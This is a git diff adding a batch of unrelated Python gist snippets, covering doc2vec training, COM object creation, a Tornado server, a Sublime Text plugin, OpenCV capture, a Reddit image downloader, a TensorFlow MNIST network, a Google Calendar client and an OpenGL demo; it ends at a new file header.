+    a = (numpy.random.rand(model.layer1_size) - 0.5) / model.layer1_size
+    model.syn0[i] = a
+
+# Set model.train_words to False and model.train_labels to True
+model.train_words = False
+model.train_lbls = True
+
+# train
+model.train(test_sentences)
+
+# slice the results
+#print model.most_similar(["SENT_1800000"])
+model.save(sys.argv[3])
\ No newline at end of file
diff --git a/hard-gists/4217925/._snippet.py b/hard-gists/4217925/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4217925/._snippet.py differ
diff --git a/hard-gists/4217925/snippet.py b/hard-gists/4217925/snippet.py
new file mode 100644
index 00000000..60b420ca
--- /dev/null
+++ b/hard-gists/4217925/snippet.py
@@ -0,0 +1,21 @@
+from ghost import Ghost
+from PySide.QtGui import QApplication, QImage, QPainter, QPrinter
+
+class MyGhost(Ghost):
+
+    def capture_pdf(self):
+        printer = QPrinter(QPrinter.HighResolution)
+        printer.setResolution(300)
+        printer.setOutputFileName("QtPrinter.pdf")
+        printer.setPaperSize(QPrinter.A4)
+        printer.setOrientation(QPrinter.Landscape)
+        printer.setOutputFormat(QPrinter.PdfFormat)
+
+        painter = QPainter(printer)
+        self.main_frame.render(painter)
+        painter.end()
+
+ghost = MyGhost(viewport_size=(1280,960))
+
+page, resources = ghost.open('http://127.0.0.1:8000/path/to/page/to/capture/')
+ghost.capture_pdf()
diff --git a/hard-gists/4219140/._snippet.py b/hard-gists/4219140/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4219140/._snippet.py differ
diff --git a/hard-gists/4219140/snippet.py b/hard-gists/4219140/snippet.py
new file mode 100644
index 00000000..e8485ec8
--- /dev/null
+++ b/hard-gists/4219140/snippet.py
@@ -0,0 +1,151 @@
+__all__ = (
+    ####### Class Objects
+
+    #CoGetClassObject - Normal, not wrapped
+    'CoDllGetClassObject', #Get ClassObject from a DLL file
+
+    ####### ClassFactory::CreateInstance Wrappers
+
+    'CoCreateInstanceFromFactory', #Create an object via IClassFactory::CreateInstance
+    'CoCreateInstanceFromFactoryLicenced', #Create a licenced object via IClassFactory2::CreateInstanceLic
+
+    ###### Util
+
+    'CoReleaseObject', #Calls Release() on a COM object
+
+    ###### Main Utility Methods
+
+    #'CoCreateInstance', #Not wrapped, normal call
+    'CoCreateInstanceLicenced', #CoCreateInstance, but with a licence key
+
+    ###### Hacky DLL methods for reg-free COM without Activation Contexts, manifests, etc
+    'CoCreateInstanceFromDll', #Given a dll, a clsid, and an iid, create an object
+    'CoCreateInstanceFromDllLicenced', #Given a dll, a clsid, an iid, and a license key, create an object
+)
+
+IID_IClassFactory2 = "{B196B28F-BAB4-101A-B69C-00AA00341D07}"
+
+from uuid import UUID
+from ctypes import OleDLL, WinDLL, c_ulong, byref, WINFUNCTYPE, POINTER, c_char_p, c_void_p
+from ctypes.wintypes import HRESULT
+import pythoncom
+import win32com.client
+
+import logging
+log = logging.getLogger(__name__)
+
+
+def _raw_guid(guid):
+    """Given a string GUID, or a pythoncom IID, return the GUID laid out in memory suitable for passing to ctypes"""
+    return UUID(str(guid)).bytes_le
+
+proto_icf2_base = WINFUNCTYPE(HRESULT,
+    c_ulong,
+    c_ulong,
+    c_char_p,
+    c_ulong,
+    POINTER(c_ulong),
+)
+IClassFactory2__CreateInstanceLic = proto_icf2_base(7, 'CreateInstanceLic', (
+    (1, 'pUnkOuter'),
+    (1 | 4, 'pUnkReserved'),
+    (1, 'riid'),
+    (1, 'bstrKey'),
+    (2, 'ppvObj'),
+    ), _raw_guid(IID_IClassFactory2))
+
+#--------------------------------
+#--------------------------------
+
+def _pc_wrap(iptr, resultCLSID=None):
+    #return win32com.client.__WrapDispatch(iptr)
+    log.debug("_pc_wrap: %s, %s"%(iptr, resultCLSID))
+    disp = win32com.client.Dispatch(iptr, resultCLSID=resultCLSID)
+    log.debug("_pc_wrap: %s (%s)", disp.__class__.__name__, disp)
+    return disp
+
+def CoCreateInstanceFromFactory(factory_ptr, iid_interface=pythoncom.IID_IDispatch, pUnkOuter=None):
+    """Given a factory_ptr whose interface is IClassFactory, create the instance of clsid_class with the specified interface"""
+    ClassFactory = pythoncom.ObjectFromAddress(factory_ptr.value, pythoncom.IID_IClassFactory)
+    i = ClassFactory.CreateInstance(pUnkOuter, iid_interface)
+    return i
+
+def CoCreateInstanceFromFactoryLicenced(factory_ptr, key, iid_interface=pythoncom.IID_IDispatch, pUnkOuter=None):
+    """Given a factory_ptr whose interface is IClassFactory2, create the instance of clsid_class with the specified interface"""
+    requested_iid = _raw_guid(iid_interface)
+
+    ole_aut = WinDLL("OleAut32.dll")
+    key_bstr = ole_aut.SysAllocString(unicode(key))
+    try:
+        obj = IClassFactory2__CreateInstanceLic(factory_ptr, pUnkOuter or 0, c_char_p(requested_iid), key_bstr)
+        disp_obj = pythoncom.ObjectFromAddress(obj, iid_interface)
+        return disp_obj
+    finally:
+        if key_bstr:
+            ole_aut.SysFreeString(key_bstr)
+
+#----------------------------------
+
+def CoReleaseObject(obj_ptr):
+    """Calls Release() on a COM object. obj_ptr should be a c_void_p"""
+    if not obj_ptr:
+        return
+    IUnknown__Release = WINFUNCTYPE(HRESULT)(2, 'Release', (), pythoncom.IID_IUnknown)
+    IUnknown__Release(obj_ptr)
+
+#-----------------------------------
+
+def CoCreateInstanceLicenced(clsid_class, key, pythoncom_iid_interface=pythoncom.IID_IDispatch, dwClsContext=pythoncom.CLSCTX_SERVER, pythoncom_wrapdisp=True, wrapas=None):
+    """Uses IClassFactory2::CreateInstanceLic to create a COM object given a licence key."""
+    IID_IClassFactory2 = "{B196B28F-BAB4-101A-B69C-00AA00341D07}"
+    ole = OleDLL("Ole32.dll")
+    clsid_class_raw = _raw_guid(clsid_class)
+    iclassfactory2 = _raw_guid(IID_IClassFactory2)
+    com_classfactory = c_void_p(0)
+
+    ole.CoGetClassObject(clsid_class_raw, dwClsContext, None, iclassfactory2, byref(com_classfactory))
+    try:
+        iptr = CoCreateInstanceFromFactoryLicenced(
+                factory_ptr = com_classfactory,
+                key=key,
+                iid_interface=pythoncom_iid_interface,
+                pUnkOuter=None,
+        )
+        if pythoncom_wrapdisp:
+            return _pc_wrap(iptr, resultCLSID=wrapas or clsid_class)
+        return iptr
+    finally:
+        if com_classfactory:
+            CoReleaseObject(com_classfactory)
+
+#-----------------------------------------------------------
+#DLLs
+
+def CoDllGetClassObject(dll_filename, clsid_class, iid_factory=pythoncom.IID_IClassFactory):
+    """Given a DLL filename and a desired class, return the factory for that class (as a c_void_p)"""
+    dll = OleDLL(dll_filename)
+    clsid_class = _raw_guid(clsid_class)
+    iclassfactory = _raw_guid(iid_factory)
+    com_classfactory = c_void_p(0)
+    dll.DllGetClassObject(clsid_class, iclassfactory, byref(com_classfactory))
+    return com_classfactory
+
+def CoCreateInstanceFromDll(dll, clsid_class, iid_interface=pythoncom.IID_IDispatch, pythoncom_wrapdisp=True, wrapas=None):
+    iclassfactory_ptr = CoDllGetClassObject(dll, clsid_class)
+    try:
+        iptr = CoCreateInstanceFromFactory(iclassfactory_ptr, iid_interface)
+        if pythoncom_wrapdisp:
+            return _pc_wrap(iptr, resultCLSID=wrapas or clsid_class)
+        return iptr
+    finally:
+        CoReleaseObject(iclassfactory_ptr)
+
+def CoCreateInstanceFromDllLicenced(dll, clsid_class, key, iid_interface=pythoncom.IID_IDispatch, pythoncom_wrapdisp=True, wrapas=None):
+    iclassfactory2_ptr = CoDllGetClassObject(dll, clsid_class, iid_factory=IID_IClassFactory2)
+    try:
+        iptr = CoCreateInstanceFromFactoryLicenced(iclassfactory2_ptr, key, iid_interface)
+        if pythoncom_wrapdisp:
+            return _pc_wrap(iptr, resultCLSID=wrapas or clsid_class)
+        return iptr
+    finally:
+        CoReleaseObject(iclassfactory2_ptr)
\ No newline at end of file
diff --git a/hard-gists/421c427db75c8c5fa1d1/._snippet.py b/hard-gists/421c427db75c8c5fa1d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/421c427db75c8c5fa1d1/._snippet.py differ
diff --git a/hard-gists/421c427db75c8c5fa1d1/snippet.py b/hard-gists/421c427db75c8c5fa1d1/snippet.py
new file mode 100644
index 00000000..669adb24
--- /dev/null
+++ b/hard-gists/421c427db75c8c5fa1d1/snippet.py
@@ -0,0 +1,77 @@
+"""A simple demonstration of running background tasks with Tornado.
+
+Here I am using a basic TCP server which handles streams and keeps
+them open while asynchronously performing a fake task in the
+background. In order to test it, simply telnet to localhost port 8080
+and start typing things to see that the server receives the messages.
+
+The advantage to running on an executor instead of conventional
+threads is that we can more easily shut it down by stopping the
+tornado IO loop.
+
+This demo is partially inspired by the gist that can be found
+here__.
+
+__ https://gist.github.com/methane/2185380
+
+"""
+
+from __future__ import print_function
+import time
+import signal
+from random import random, randint
+from tornado.ioloop import IOLoop
+from tornado.iostream import StreamClosedError
+from tornado import gen
+from tornado.concurrent import run_on_executor
+from concurrent import futures
+from tornado.tcpserver import TCPServer
+
+class Server(TCPServer):
+    """Server for demonstration of running background tasks with
+    futures.
+
+    """
+    executor = futures.ThreadPoolExecutor(max_workers=1)
+    task_complete = False
+    clients = set()
+
+    @run_on_executor
+    def task(self):
+        """Dummy task."""
+        time.sleep(random()*randint(0, 5))
+        print("Task complete: " + str(randint(0, 9999)))
+        IOLoop.instance().add_callback(self.task)
+    
+    @gen.coroutine
+    def handle_stream(self, stream, address):
+        print("New connection.")
+        Server.clients.add(stream)
+        while True:
+            try:
+                incoming = yield stream.read_until('\n')
+                print('Incoming message: ' + incoming)
+            except StreamClosedError:
+                print("client left.")
+                Server.clients.remove(stream)
+                break
+
+    @classmethod
+    def shutdown(self):
+        """Close all open connections."""
+        print('shutting down')
+        for client in Server.clients:
+            if not client.closed():
+                client.close()
+            Server.clients.remove(client)
+
+if __name__ == "__main__":
+    server = Server()
+    ioloop = IOLoop.instance()
+    ioloop.add_callback(server.task)
+    server.listen(8080)
+    def shutdown():
+        server.shutdown()
+        ioloop.stop()
+    signal.signal(signal.SIGINT, lambda sig, frame: shutdown())
+    ioloop.start()
\ No newline at end of file
diff --git a/hard-gists/4221932/._snippet.py b/hard-gists/4221932/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4221932/._snippet.py differ
diff --git a/hard-gists/4221932/snippet.py b/hard-gists/4221932/snippet.py
new file mode 100644
index 00000000..a1d62a5b
--- /dev/null
+++ b/hard-gists/4221932/snippet.py
@@ -0,0 +1,24 @@
+import commands
+import sublime_plugin
+import sublime
+
+class WordCompletion(sublime_plugin.EventListener):
+    def on_query_completions(self, view, prefix, locations):
+        if len(prefix) < 3:
+            return []
+
+        words = self.look(view, prefix)
+        return [(w.replace(prefix.lower(), prefix),) * 2 for w in words]
+
+    def command(self, view):
+        try:
+            return view.settings().get("word_completion").get("command")
+        except AttributeError:
+            return "look"
+
+    def look(self, view, prefix):
+        result = commands.getoutput("%s %s" % (self.command(view), prefix))
+        if len(result) > 0:
+            return result.split("\n")
+        else:
+            return []
\ No newline at end of file
diff --git a/hard-gists/4222418/._snippet.py b/hard-gists/4222418/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4222418/._snippet.py differ
diff --git a/hard-gists/4222418/snippet.py b/hard-gists/4222418/snippet.py
new file mode 100644
index 00000000..b76a9ab4
--- /dev/null
+++ b/hard-gists/4222418/snippet.py
@@ -0,0 +1,36 @@
+import cv
+
+CAMERA_INDEX = 0
+
+# CODEC = cv.CV_FOURCC('D','I','V','3') # MPEG 4.3
+# CODEC = cv.CV_FOURCC('M','P','4','2') # MPEG 4.2
+# CODEC = cv.CV_FOURCC('M','J','P','G') # Motion Jpeg
+# CODEC = cv.CV_FOURCC('U','2','6','3') # H263
+# CODEC = cv.CV_FOURCC('I','2','6','3') # H263I
+# CODEC = cv.CV_FOURCC('F','L','V','1') # FLV
+CODEC = cv.CV_FOURCC('P','I','M','1') # MPEG-1
+CODEC = cv.CV_FOURCC('D','I','V','X') # MPEG-4 = MPEG-1
+
+# Initialize the camera for video capture
+capture = cv.CaptureFromCAM(CAMERA_INDEX)
+
+# Initialize the video writer to write the file
+writer = cv.CreateVideoWriter(
+    '/Users/sean/Desktop/out.avi',     # Filename
+    CODEC,                              # Codec for compression
+    25,                                 # Frames per second
+    (640, 480),                         # Width / Height tuple
+    True                                # Color flag
+)
+
+# Capture 50 frames and write each one to the file
+for i in range(0, 25):
+    print 'frame #:', i
+    frame = cv.QueryFrame(capture)
+    cv.ShowImage("w1", frame)
+    cv.WriteFrame(writer, frame)
+
+# Release the capture
+del(capture)
+del(writer)
+print 'released capture'
\ No newline at end of file
diff --git a/hard-gists/4225456/._snippet.py b/hard-gists/4225456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4225456/._snippet.py differ
diff --git a/hard-gists/4225456/snippet.py b/hard-gists/4225456/snippet.py
new file mode 100644
index 00000000..ef0954f6
--- /dev/null
+++ b/hard-gists/4225456/snippet.py
@@ -0,0 +1,60 @@
+""" 
+This script was written to illustrate libraries that could be used to improve upon
+the efficiency of a script posted to /r/learnprogramming:
+Original script:
+  https://github.com/aesptux/download-reddit-saved-images/blob/master/script.py
+Reddit post
+  http://www.reddit.com/r/learnprogramming/comments/14dojd 
+  /pythoncode_review_script_to_download_saved_images/
+"""
+from urllib2 import Request, urlopen
+from StringIO import StringIO
+# You probably need to download these libraries
+import praw           # install with pip or easy_install
+from PIL import Image # install from binary: http://www.pythonware.com/products/pil/
+
+###########################################
+## ENTER YOUR USERNAME AND PASSWORD HERE ##
+###########################################
+_user = 'shaggorama'
+_pass = 'hunter2'
+
+_user_agent_string = "improving on /u/aesptux's script - prototype by /u/shaggorama"
+_image_formats = ['bmp','dib','eps','ps','gif','im','jpg','jpe','jpeg',
+                  'pcd','pcx','png','pbm','pgm','ppm','psd','tif','tiff',
+                  'xbm','xpm','rgb','rast','svg']
+ 
+def is_image_link(submission):
+    """
+    Takes a praw.Submission object and returns a boolean
+    describing whether or not submission links to an 
+    image.
+    """
+    if link.subreddit.display_name == 'pics' \
+      or 'imgur' in submission.domain.split('.') \
+      or submission.url.split('.')[-1] in _image_formats:
+        return True
+    else:
+        return False
+
+r = praw.Reddit(_user_agent_string)
+r.login(username=_user, password=_pass)
+saved = r.get_saved_links(limit=None)
+
+issue_links=[]
+for link in saved:
+    if not is_image_link(link):
+        continue    
+    request = Request(link.url)
+    response = urlopen(request)
+    data = response.read()        
+    try:
+        im = Image.open(StringIO(data))
+        im.verify()
+        
+        fname=link.url.split('/')[-1]
+        Image.open(StringIO(data)).save(fname)
+    except:
+        # Encountered issue downloading image. Image is probably somewhere in the page
+        # or might not be a filetype supported by PIL
+        issue_links.append(link.url)
\ No newline at end of file
diff --git a/hard-gists/422bb33419df91b253d8728fe794f8b4/._snippet.py b/hard-gists/422bb33419df91b253d8728fe794f8b4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/422bb33419df91b253d8728fe794f8b4/._snippet.py differ
diff --git a/hard-gists/422bb33419df91b253d8728fe794f8b4/snippet.py b/hard-gists/422bb33419df91b253d8728fe794f8b4/snippet.py
new file mode 100644
index 00000000..2343a25e
--- /dev/null
+++ b/hard-gists/422bb33419df91b253d8728fe794f8b4/snippet.py
@@ -0,0 +1,139 @@
+# -*- coding: utf-8 -*-
+
+# TensowFlowのインポート
+import tensorflow as tf
+
+# MNISTを読み込むためinput_data.pyを同じディレクトリに置きインポートする
+# input_data.pyは下記から取得可能
+# https://github.com/tensorflow/tensorflow/blob/r0.8/tensorflow/examples/tutorials/mnist/input_data.py
+import input_data
+
+import time
+
+# 開始時刻
+start_time = time.time()
+print "開始時刻: " + str(start_time)
+
+# MNISTデータの読み込み
+# 60000点の訓練データ（mnist.train）と10000点のテストデータ（mnist.test）がある
+# 訓練データとテストデータにはそれぞれ0-9の画像とそれに対応するラベル（0-9）がある
+# 画像は28x28px(=784)のサイズ
+# mnist.train.imagesは[60000, 784]の配列であり、mnist.train.lablesは[60000, 10]の配列
+# lablesの配列は、対応するimagesの画像が3の数字であるならば、[0,0,0,1,0,0,0,0,0,0]となっている
+# mnist.test.imagesは[10000, 784]の配列であり、mnist.test.lablesは[10000, 10]の配列
+print "--- MNISTデータの読み込み開始 ---"
+mnist = input_data.read_data_sets('MNIST_data', one_hot=True)
+print "--- MNISTデータの読み込み完了 ---"
+
+sess = tf.InteractiveSession()
+
+# 訓練画像を入れる変数
+# 訓練画像は28x28pxであり、これらを1行784列のベクトルに並び替え格納する
+# Noneとなっているのは訓練画像がいくつでも入れられるようにするため
+x = tf.placeholder("float", shape=[None, 784])
+
+# y_は正解データのラベル（数字の0~9の10個）
+y_ = tf.placeholder("float", shape=[None, 10])
+
+####################################################################################
+# 多層畳み込みネットワークの構築                                                        #
+####################################################################################
+
+# 重みを初期化するメソッド
+# truncated_normal（切断正規分布）とは正規分布の左右を切り取ったもの
+# 重みが0にならないようにしている
+def weight_variable(shape):
+  initial = tf.truncated_normal(shape, stddev=0.1)
+  return tf.Variable(initial)
+
+# バイアスを初期化するメソッド
+# 0ではなくわずかに陽性=0.1で初期化する
+def bias_variable(shape):
+  initial = tf.constant(0.1, shape=shape)
+  return tf.Variable(initial)
+
+# xとWを畳み込むメソッド
+def conv2d(x, W):
+  return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
+
+# 最大プーリング用関数
+# プーリングサイズは2x2
+def max_pool_2x2(x):
+  return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
+
+### 第一畳み込み層 ####################################################################
+
+# 重みの初期化
+W_conv1 = weight_variable([5, 5, 1, 32])
+b_conv1 = bias_variable([32])
+x_image = tf.reshape(x, [-1,28,28,1])
+h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)
+h_pool1 = max_pool_2x2(h_conv1)
+
+### 第二畳み込み層 ####################################################################
+
+# 重みの初期化
+# 第一層で出力が32だったので、入力チャンネルは32となる
+W_conv2 = weight_variable([5, 5, 32, 64])
+b_conv2 = bias_variable([64])
+h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)
+h_pool2 = max_pool_2x2(h_conv2)
+
+### 密に接続された層 ##################################################################
+
+# 重みの初期化
+# 第二層で出力が64だったので、入力チャンネルは64となる
+W_fc1 = weight_variable([7 * 7 * 64, 1024])
+b_fc1 = bias_variable([1024])
+h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])
+h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
+
+### Dropout ########################################################################
+keep_prob = tf.placeholder("float")
+h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
+
+### 読み出し層 #######################################################################
+W_fc2 = weight_variable([1024, 10])
+b_fc2 = bias_variable([10])
+y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
+
+# 交差エントロピーの計算
+cross_entropy = -tf.reduce_sum(y_*tf.log(y_conv))
+
+# 勾配硬化法を用い交差エントロピーが最小となるようyを最適化する
+train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
+
+# 正しいかの予測
+# 計算された画像がどの数字であるかの予測yと正解ラベルy_を比較する
+# 同じ値であればTrueが返される
+# argmaxは配列の中で一番値の大きい箇所のindexが返される
+# 一番値が大きいindexということは、それがその数字である確率が一番大きいということ
+# Trueが返ってくるということは訓練した結果と回答が同じということ
+correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))
+
+# 精度の計算
+# correct_predictionはbooleanなのでfloatにキャストし、平均値を計算する
+# Trueならば1、Falseならば0に変換される
+accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))
+
+# 用意した変数Veriableの初期化を実行する
+sess.run(tf.initialize_all_variables())
+
+# 20000回の訓練（train_step）を実行する
+# next_batch(50)で50つのランダムな訓練セット（画像と対応するラベル）を選択する
+# feed_dictでplaceholderに値を入力することができる
+print "--- 多層畳み込みネットワークによる訓練開始 ---"
+for i in range(20000):
+  batch = mnist.train.next_batch(50)
+  if i % 100 == 0:
+    train_accuracy = accuracy.eval(feed_dict={x:batch[0], y_: batch[1], keep_prob: 1.0})
+    print("step %d, training accuracy %g"%(i, train_accuracy))
+  train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})
+print "--- 多層畳み込みネットワークによる訓練終了 ---"
+
+print("test accuracy %g"%accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))
+
+# 終了時刻
+end_time = time.time()
+print "終了時刻: " + str(end_time)
+print "かかった時間: " + str(end_time - start_time)
\ No newline at end of file
diff --git a/hard-gists/4230222/._snippet.py b/hard-gists/4230222/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4230222/._snippet.py differ
diff --git a/hard-gists/4230222/snippet.py b/hard-gists/4230222/snippet.py
new file mode 100644
index 00000000..23383e21
--- /dev/null
+++ b/hard-gists/4230222/snippet.py
@@ -0,0 +1,53 @@
+from math import log
+log2= lambda x:log(x,2)
+from scipy import histogram, digitize, stats, mean, std
+from collections import defaultdict
+
+def mutual_information(x,y):
+    return entropy(y) - conditional_entropy(x,y)
+
+def conditional_entropy(x, y):
+    """
+    x: vector de numeros reales
+    y: vector de numeros enteros
+
+    devuelve H(Y|X)
+    """
+    # discretizacion de X 
+    hx, bx= histogram(x, bins=x.size/10, density=True)
+
+    Py= compute_distribution(y)
+    Px= compute_distribution(digitize(x,bx))
+
+    res= 0
+    for ey in set(y):
+        # P(X | Y)
+        x1= x[y==ey]
+        condPxy= compute_distribution(digitize(x1,bx))
+
+        for k, v in condPxy.iteritems():
+            res+= (v*Py[ey]*(log2(Px[k]) - log2(v*Py[ey])))
+    return res
+        
+def entropy(y):
+    """
+    Computa la entropia de un vector discreto
+    """
+    # P(Y)
+    Py= compute_distribution(y)
+    res=0.0
+    for k, v in Py.iteritems():
+        res+=v*log2(v)
+    return -res
+
+def compute_distribution(v):
+    """
+    v: vector de valores enteros
+
+    devuelve un diccionario con la probabilidad de cada valor
+    computado como la frecuencia de ocurrencia
+    """
+    d= defaultdict(int)
+    for e in v: d[e]+=1
+    s= float(sum(d.values()))
+    return dict((k, v/s) for k, v in d.items())
diff --git a/hard-gists/4230847/._snippet.py b/hard-gists/4230847/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4230847/._snippet.py differ
diff --git a/hard-gists/4230847/snippet.py b/hard-gists/4230847/snippet.py
new file mode 100644
index 00000000..09620ce9
--- /dev/null
+++ b/hard-gists/4230847/snippet.py
@@ -0,0 +1,56 @@
+'''
+Go to https://code.google.com/apis/console/ and:
+- create a new project, 
+- enable access to the calendar api, 
+- create a "service account" - that will give you an:
+  * "email address" which is the service_account_name and
+  * a private key that you need to save on you server
+- go to the calendar and share it with the "email address" from above
+
+Make sure your time is synchronized.
+
+requirements are: google-api-python-client and pyOpenSSL
+    pip install google-api-python-client pyOpenSSL
+'''
+
+import pprint
+import pytz
+from datetime import datetime, timedelta
+import httplib2
+
+from apiclient.discovery import build
+from oauth2client.client import SignedJwtAssertionCredentials
+
+
+with open('privatekey.p12', 'rb') as f:
+    key = f.read()
+
+service_account_name = '...@developer.gserviceaccount.com'
+calendarId = '...@group.calendar.google.com'
+
+credentials = SignedJwtAssertionCredentials(
+    service_account_name, key,
+    scope=['https://www.googleapis.com/auth/calendar',
+           'https://www.googleapis.com/auth/calendar.readonly'])
+
+http = httplib2.Http()
+http = credentials.authorize(http)
+
+service = build(serviceName='calendar', version='v3', http=http)
+
+lists = service.calendarList().list().execute()
+pprint.pprint(lists)
+print
+
+# get events from calendar for the next 3 days
+cest = pytz.timezone('Europe/Skopje')
+now = datetime.now(tz=cest) # timezone?
+timeMin = datetime(year=now.year, month=now.month, day=now.day, tzinfo=cest) + timedelta(days=1)
+timeMin = timeMin.isoformat()
+timeMax = datetime(year=now.year, month=now.month, day=now.day, tzinfo=cest) + timedelta(days=3)
+timeMax = timeMax.isoformat()
+
+events = service.events().list(calendarId=calendarId,
+          timeMin=timeMin, timeMax=timeMax).execute()
+
+pprint.pprint(events)
diff --git a/hard-gists/4232775/._snippet.py b/hard-gists/4232775/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4232775/._snippet.py differ
diff --git a/hard-gists/4232775/snippet.py b/hard-gists/4232775/snippet.py
new file mode 100644
index 00000000..ae6c8c74
--- /dev/null
+++ b/hard-gists/4232775/snippet.py
@@ -0,0 +1,70 @@
+import threading
+
+from oauth2client.client import Storage as BaseStorage
+from oauth2client.client import Credentials
+from oauth2client.anyjson import simplejson
+
+def from_dict(container):
+    """
+    Create a Credentials object from a dictionary.
+
+    The dictionary is first converted to JSON by the native implementation
+    to ensure it is converted correctly and make updates to the oauth2client module
+    easier.
+    """
+    jsonRepr = simplejson.dumps(container)
+    return Credentials.new_from_json(jsonRepr)
+
+def to_dict(credentials):
+    """
+    Convert a Credentials object to a dictionary.
+
+    The Credentials object is first converted to JSON by the native implementation
+    to ensure it is converted correctly and make updates to the oauth2client module
+    easier.
+    """
+    jsonRepr = credentials.to_json()
+    dictRepr = simplejson.loads(jsonRepr)
+
+    return dictRepr
+
+class DictStorage(BaseStorage):
+    """
+    Storage implementation for storing credentials inside an existing dictionary object.
+    """
+
+    def __init__(self, container, key='credentials'):
+        if not isinstance(container, dict):
+            raise Exception('Container must be an instance of a dict')
+
+        self._container = container
+        self._key = key
+        self._lock = threading.Lock()
+
+    def locked_get(self):
+        """Retrieve Credential from Config.
+
+        Returns:
+          oauth2client.client.Credentials
+        """
+        credentials = None
+        try:
+            credentials = from_dict(self._container[self._key])
+        except KeyError:
+            pass
+
+        return credentials
+
+    def locked_put(self, credentials):
+        """Write Credentials to the Config.
+
+        Args:
+          credentials: Credentials, the credentials to store.
+        """
+        d = to_dict(credentials)
+        self._container[self._key] = d
+
+    def locked_delete(self):
+        """Delete Credentials from Config.
+        """
+        del self._container[self._key]
\ No newline at end of file
diff --git a/hard-gists/4243336/._snippet.py b/hard-gists/4243336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4243336/._snippet.py differ
diff --git a/hard-gists/4243336/snippet.py b/hard-gists/4243336/snippet.py
new file mode 100644
index 00000000..1d86115c
--- /dev/null
+++ b/hard-gists/4243336/snippet.py
@@ -0,0 +1,99 @@
+import OpenGL.GL as GL
+import OpenGL.GL.shaders
+import ctypes
+import pygame
+import numpy
+
+vertex_shader = """
+#version 330
+
+in vec4 position;
+void main()
+{
+   gl_Position = position;
+}
+"""
+
+fragment_shader = """
+#version 330
+
+void main()
+{
+   gl_FragColor = vec4(1.0f, 1.0f, 1.0f, 1.0f);
+}
+"""
+
+vertices = [ 0.6,  0.6, 0.0, 1.0,
+            -0.6,  0.6, 0.0, 1.0,
+             0.0, -0.6, 0.0, 1.0]
+
+vertices = numpy.array(vertices, dtype=numpy.float32)
+
+def create_object(shader):
+    # Create a new VAO (Vertex Array Object) and bind it
+    vertex_array_object = GL.glGenVertexArrays(1)
+    GL.glBindVertexArray( vertex_array_object )
+    
+    # Generate buffers to hold our vertices
+    vertex_buffer = GL.glGenBuffers(1)
+    GL.glBindBuffer(GL.GL_ARRAY_BUFFER, vertex_buffer)
+    
+    # Get the position of the 'position' in parameter of our shader and bind it.
+    position = GL.glGetAttribLocation(shader, 'position')
+    GL.glEnableVertexAttribArray(position)
+    
+    # Describe the position data layout in the buffer
+    GL.glVertexAttribPointer(position, 4, GL.GL_FLOAT, False, 0, ctypes.c_void_p(0))
+    
+    # Send the data over to the buffer
+    GL.glBufferData(GL.GL_ARRAY_BUFFER, 48, vertices, GL.GL_STATIC_DRAW)
+    
+    # Unbind the VAO first (Important)
+    GL.glBindVertexArray( 0 )
+    
+    # Unbind other stuff
+    GL.glDisableVertexAttribArray(position)
+    GL.glBindBuffer(GL.GL_ARRAY_BUFFER, 0)
+    
+    return vertex_array_object
+    
+def display(shader, vertex_array_object):
+    GL.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT)
+    GL.glUseProgram(shader)
+    
+    GL.glBindVertexArray( vertex_array_object )
+    GL.glDrawArrays(GL.GL_TRIANGLES, 0, 3)
+    GL.glBindVertexArray( 0 )
+    
+    GL.glUseProgram(0)
+
+def main():
+    pygame.init()
+    screen = pygame.display.set_mode((512, 512), pygame.OPENGL|pygame.DOUBLEBUF)
+    GL.glClearColor(0.5, 0.5, 0.5, 1.0)
+    GL.glEnable(GL.GL_DEPTH_TEST)
+
+    shader = OpenGL.GL.shaders.compileProgram(
+        OpenGL.GL.shaders.compileShader(vertex_shader, GL.GL_VERTEX_SHADER),
+        OpenGL.GL.shaders.compileShader(fragment_shader, GL.GL_FRAGMENT_SHADER)
+    )
+    
+    vertex_array_object = create_object(shader)
+    
+    clock = pygame.time.Clock()
+    
+    while True:     
+        for event in pygame.event.get():
+            if event.type == pygame.QUIT:
+                return
+            if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE:
+                return
+        
+        display(shader, vertex_array_object)
+        pygame.display.flip()
+
+if __name__ == '__main__':
+    try:
+        main()
+    finally:
+        pygame.quit()
\ No newline at end of file
diff --git a/hard-gists/4243633/._snippet.py b/hard-gists/4243633/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4243633/._snippet.py differ
diff --git a/hard-gists/4243633/snippet.py b/hard-gists/4243633/snippet.py
new file mode 100644
index 00000000..427c8f1c
--- /dev/null
+++ b/hard-gists/4243633/snippet.py
